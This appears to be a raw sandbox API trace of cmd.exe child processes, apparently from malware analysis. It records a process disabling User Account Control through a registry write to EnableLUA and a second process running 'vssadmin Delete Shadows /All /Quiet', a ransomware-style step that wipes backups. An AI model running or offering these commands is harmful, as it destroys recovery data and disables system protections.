	[0231.122] _wcsnicmp (_String1="reg", _String2="cmd ", _MaxCount=0x4) returned 15
	[0231.123] malloc (_Size=0xffce) returned 0x2109ec20040
	[0231.123] ??_V@YAXPEAX@Z () returned 0x2109ec20040
	[0231.123] GetProcessHeap () returned 0x2109eb00000
	[0231.123] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x1ffac) returned 0x2109eb19aa0
	[0231.127] SetErrorMode (uMode=0x0) returned 0x8003
	[0231.127] SetErrorMode (uMode=0x1) returned 0x0
	[0231.127] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2109eb19ab0, lpFilePart=0x88d752ef30 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x88d752ef30*="system32") returned 0x13
	[0231.127] SetErrorMode (uMode=0x8003) returned 0x1
	[0231.127] GetProcessHeap () returned 0x2109eb00000
	[0231.127] RtlReAllocateHeap (Heap=0x2109eb00000, Flags=0x0, Ptr=0x2109eb19aa0, Size=0x40) returned 0x2109eb19aa0
	[0231.127] GetProcessHeap () returned 0x2109eb00000
	[0231.127] RtlSizeHeap (HeapHandle=0x2109eb00000, Flags=0x0, MemoryPointer=0x2109eb19aa0) returned 0x40
	[0231.127] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0231.127] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0231.128] GetProcessHeap () returned 0x2109eb00000
	[0231.128] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x1b4) returned 0x2109eb07730
	[0231.128] GetProcessHeap () returned 0x2109eb00000
	[0231.128] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x358) returned 0x2109eb00fc0
	[0231.212] GetProcessHeap () returned 0x2109eb00000
	[0231.213] RtlReAllocateHeap (Heap=0x2109eb00000, Flags=0x0, Ptr=0x2109eb00fc0, Size=0x1b6) returned 0x2109eb00fc0
	[0231.213] GetProcessHeap () returned 0x2109eb00000
	[0231.213] RtlSizeHeap (HeapHandle=0x2109eb00000, Flags=0x0, MemoryPointer=0x2109eb00fc0) returned 0x1b6
	[0231.213] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0231.213] GetProcessHeap () returned 0x2109eb00000
	[0231.213] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xe8) returned 0x2109eb078f0
	[0231.213] GetProcessHeap () returned 0x2109eb00000
	[0231.213] RtlReAllocateHeap (Heap=0x2109eb00000, Flags=0x0, Ptr=0x2109eb078f0, Size=0x7e) returned 0x2109eb078f0
	[0231.214] GetProcessHeap () returned 0x2109eb00000
	[0231.215] RtlSizeHeap (HeapHandle=0x2109eb00000, Flags=0x0, MemoryPointer=0x2109eb078f0) returned 0x7e
	[0231.215] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0231.216] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.*", fInfoLevelId=0x1, lpFindFileData=0x88d752eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x88d752eca0) returned 0x2109eb07980
	[0231.216] GetProcessHeap () returned 0x2109eb00000
	[0231.216] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x0, Size=0x28) returned 0x2109eb079e0
	[0231.216] FindClose (in: hFindFile=0x2109eb07980 | out: hFindFile=0x2109eb07980) returned 1
	[0231.217] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x88d752eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x88d752eca0) returned 0xffffffffffffffff
	[0231.217] GetLastError () returned 0x2
	[0231.217] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x88d752eca0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x88d752eca0) returned 0x2109eb07980
	[0231.218] GetProcessHeap () returned 0x2109eb00000
	[0231.218] RtlReAllocateHeap (Heap=0x2109eb00000, Flags=0x0, Ptr=0x2109eb079e0, Size=0x8) returned 0x2109eb079e0
	[0231.218] FindClose (in: hFindFile=0x2109eb07980 | out: hFindFile=0x2109eb07980) returned 1
	[0231.218] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0231.218] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0231.218] ??_V@YAXPEAX@Z () returned 0x1
	[0231.218] GetConsoleTitleW (in: lpConsoleTitle=0x88d752f220, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0231.268] InitializeProcThreadAttributeList (in: lpAttributeList=0x88d752f140, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x88d752f030 | out: lpAttributeList=0x88d752f140, lpSize=0x88d752f030) returned 1
	[0231.268] UpdateProcThreadAttribute (in: lpAttributeList=0x88d752f140, dwFlags=0x0, Attribute=0x60001, lpValue=0x88d752f01c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x88d752f140, lpPreviousValue=0x0) returned 1
	[0231.269] GetStartupInfoW (in: lpStartupInfo=0x88d752f0d0 | out: lpStartupInfo=0x88d752f0d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0231.269] GetProcessHeap () returned 0x2109eb00000
	[0231.269] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x20) returned 0x2109eb07980
	[0231.269] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0231.269] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0231.269] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0231.269] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.269] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0231.270] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0231.271] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0231.272] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0231.272] GetProcessHeap () returned 0x2109eb00000
	[0231.272] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb07980) returned 1
	[0231.272] GetProcessHeap () returned 0x2109eb00000
	[0231.272] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x12) returned 0x2109eb07980
	[0231.273] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
	[0231.275] _get_osfhandle (_FileHandle=1) returned 0x50
	[0231.275] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1
	[0231.279] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0231.279] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1
	[0231.282] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\reg.exe", lpCommandLine="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x88d752f060*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x88d752f038 | out: lpCommandLine="reg  ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessInformation=0x88d752f038*(hProcess=0x9c, hThread=0x98, dwProcessId=0x650, dwThreadId=0x470)) returned 1
	[0231.463] CloseHandle (hObject=0x98) returned 1
	[0231.463] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0231.463] GetProcessHeap () returned 0x2109eb00000
	[0231.463] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb06620) returned 1
	[0231.557] GetEnvironmentStringsW () returned 0x2109eb05b50*
	[0231.558] GetProcessHeap () returned 0x2109eb00000
	[0231.558] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xac4) returned 0x2109eb06620
	[0231.558] FreeEnvironmentStringsA (penv="=") returned 1
	[0231.558] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0232.337] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x88d752efb8 | out: lpExitCode=0x88d752efb8*=0x0) returned 1
	[0232.337] CloseHandle (hObject=0x9c) returned 1
	[0232.337] _vsnwprintf (in: _Buffer=0x88d752f188, _BufferCount=0x13, _Format="%08X", _ArgList=0x88d752efc8 | out: _Buffer="00000000") returned 8
	[0232.338] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0232.339] GetProcessHeap () returned 0x2109eb00000
	[0232.339] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb06620) returned 1
	[0232.339] GetEnvironmentStringsW () returned 0x2109eb08540*
	[0232.339] GetProcessHeap () returned 0x2109eb00000
	[0232.339] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xaea) returned 0x2109eb05b50
	[0232.339] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.339] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0232.339] GetProcessHeap () returned 0x2109eb00000
	[0232.339] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb05b50) returned 1
	[0232.339] GetEnvironmentStringsW () returned 0x2109eb08540*
	[0232.340] GetProcessHeap () returned 0x2109eb00000
	[0232.340] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xaea) returned 0x2109eb05b50
	[0232.340] FreeEnvironmentStringsA (penv="=") returned 1
	[0232.340] GetProcessHeap () returned 0x2109eb00000
	[0232.340] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb07980) returned 1
	[0232.340] DeleteProcThreadAttributeList (in: lpAttributeList=0x88d752f140 | out: lpAttributeList=0x88d752f140) 
	[0232.340] ??_V@YAXPEAX@Z () returned 0x1
	[0232.340] _get_osfhandle (_FileHandle=1) returned 0x50
	[0232.340] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1
	[0232.371] _get_osfhandle (_FileHandle=1) returned 0x50
	[0232.371] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 1
	[0232.379] _get_osfhandle (_FileHandle=1) returned 0x50
	[0232.379] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1
	[0232.381] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0232.382] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 1
	[0232.385] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0232.385] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1
	[0232.390] SetConsoleInputExeNameW () returned 0x1
	[0232.390] GetConsoleOutputCP () returned 0x1b5
	[0232.424] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0232.424] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0232.427] exit (_Code=0) 

Thread:
	id = 80
	os_tid = 0xa24


Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x3e672000"
	os_pid = "0xfd8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xfac"
	cmd_line = "cmd /C vssadmin Delete Shadows /All /Quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 68
	os_tid = 0xfdc

	[0230.812] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff68e8e0000
	[0230.812] __set_app_type (_Type=0x1) 
	[0230.812] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff68e8f6d00) returned 0x0
	[0230.812] __getmainargs (in: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210, _DoWildCard=0, _StartInfo=0x7ff68e91921c | out: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210) returned 0
	[0230.813] _onexit (_Func=0x7ff68e8f7fd0) returned 0x7ff68e8f7fd0
	[0230.813] _onexit (_Func=0x7ff68e8f7fe0) returned 0x7ff68e8f7fe0
	[0230.813] _onexit (_Func=0x7ff68e8f7ff0) returned 0x7ff68e8f7ff0
	[0230.814] _onexit (_Func=0x7ff68e8f8000) returned 0x7ff68e8f8000
	[0230.814] _onexit (_Func=0x7ff68e8f8010) returned 0x7ff68e8f8010
	[0230.815] _onexit (_Func=0x7ff68e8f8020) returned 0x7ff68e8f8020
	[0230.815] GetCurrentThreadId () returned 0xfdc
	[0230.815] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfdc) returned 0x70
	[0230.816] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0230.816] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetThreadUILanguage") returned 0x7fff4f79a990
	[0230.816] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0230.869] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0230.869] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xf5f7f5fc78 | out: phkResult=0xf5f7f5fc78*=0x0) returned 0x2
	[0230.870] VirtualQuery (in: lpAddress=0xf5f7f5fc64, lpBuffer=0xf5f7f5fbe0, dwLength=0x30 | out: lpBuffer=0xf5f7f5fbe0*(BaseAddress=0xf5f7f5f000, AllocationBase=0xf5f7e60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffcd06)) returned 0x30
	[0230.876] VirtualQuery (in: lpAddress=0xf5f7e60000, lpBuffer=0xf5f7f5fbe0, dwLength=0x30 | out: lpBuffer=0xf5f7f5fbe0*(BaseAddress=0xf5f7e60000, AllocationBase=0xf5f7e60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xffffcd06)) returned 0x30
	[0230.876] VirtualQuery (in: lpAddress=0xf5f7e61000, lpBuffer=0xf5f7f5fbe0, dwLength=0x30 | out: lpBuffer=0xf5f7f5fbe0*(BaseAddress=0xf5f7e61000, AllocationBase=0xf5f7e60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0xffffcd06)) returned 0x30
	[0230.876] VirtualQuery (in: lpAddress=0xf5f7e64000, lpBuffer=0xf5f7f5fbe0, dwLength=0x30 | out: lpBuffer=0xf5f7f5fbe0*(BaseAddress=0xf5f7e64000, AllocationBase=0xf5f7e60000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffcd06)) returned 0x30
	[0230.876] VirtualQuery (in: lpAddress=0xf5f7f60000, lpBuffer=0xf5f7f5fbe0, dwLength=0x30 | out: lpBuffer=0xf5f7f5fbe0*(BaseAddress=0xf5f7f60000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0xffffcd06)) returned 0x30
	[0230.876] GetConsoleOutputCP () returned 0x1b5
	[0230.884] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0230.884] SetConsoleCtrlHandler (HandlerRoutine=0x7ff68e908150, Add=1) returned 1
	[0230.884] _get_osfhandle (_FileHandle=1) returned 0x150
	[0230.884] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc04 | out: lpMode=0x7ff68e91fc04) returned 0
	[0230.885] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0230.885] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc00 | out: lpMode=0x7ff68e91fc00) returned 0
	[0230.885] _get_osfhandle (_FileHandle=1) returned 0x150
	[0230.885] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0230.885] _get_osfhandle (_FileHandle=1) returned 0x150
	[0230.885] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 0
	[0230.885] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0230.885] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 0
	[0230.886] GetEnvironmentStringsW () returned 0x24e143e59d0*
	[0230.887] GetProcessHeap () returned 0x24e143e0000
	[0230.887] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xa7c) returned 0x24e143e6460
	[0230.887] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.887] GetProcessHeap () returned 0x24e143e0000
	[0230.887] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0x8) returned 0x24e143e6ef0
	[0230.887] GetEnvironmentStringsW () returned 0x24e143e59d0*
	[0230.887] GetProcessHeap () returned 0x24e143e0000
	[0230.887] RtlAllocateHeap (HeapHandle=0x24e143e0000, Flags=0x8, Size=0xa7c) returned 0x24e143e6f10
	[0230.888] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.888] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf5f7f5eb28 | out: phkResult=0xf5f7f5eb28*=0x7c) returned 0x0
	[0230.888] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x4, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.888] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x1, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.888] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x1, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.888] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x0, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.888] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x40, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x40, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x40, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.889] RegCloseKey (hKey=0x7c) returned 0x0
	[0230.889] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf5f7f5eb28 | out: phkResult=0xf5f7f5eb28*=0x7c) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x40, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x1, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x1, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x0, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x9, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x4, lpData=0xf5f7f5eb40*=0x9, lpcbData=0xf5f7f5eb24*=0x4) returned 0x0
	[0230.889] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf5f7f5eb20, lpData=0xf5f7f5eb40, lpcbData=0xf5f7f5eb24*=0x1000 | out: lpType=0xf5f7f5eb20*=0x0, lpData=0xf5f7f5eb40*=0x9, lpcbData=0xf5f7f5eb24*=0x1000) returned 0x2
	[0230.889] RegCloseKey (hKey=0x7c) returned 0x0
	[0230.890] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea102a
	[0230.890] srand (_Seed=0x5fea102a) 
	[0230.890] GetCommandLineW () returned="cmd /C vssadmin Delete Shadows /All /Quiet"
	[0230.890] malloc (_Size=0x4000) returned 0x24e147754f0
	[0230.890] GetCommandLineW () returned="cmd /C vssadmin Delete Shadows /All /Quiet"
	[0230.891] malloc (_Size=0xffce) returned 0x24e145b0080
	[0230.892] ??_V@YAXPEAX@Z () returned 0x24e145b0080
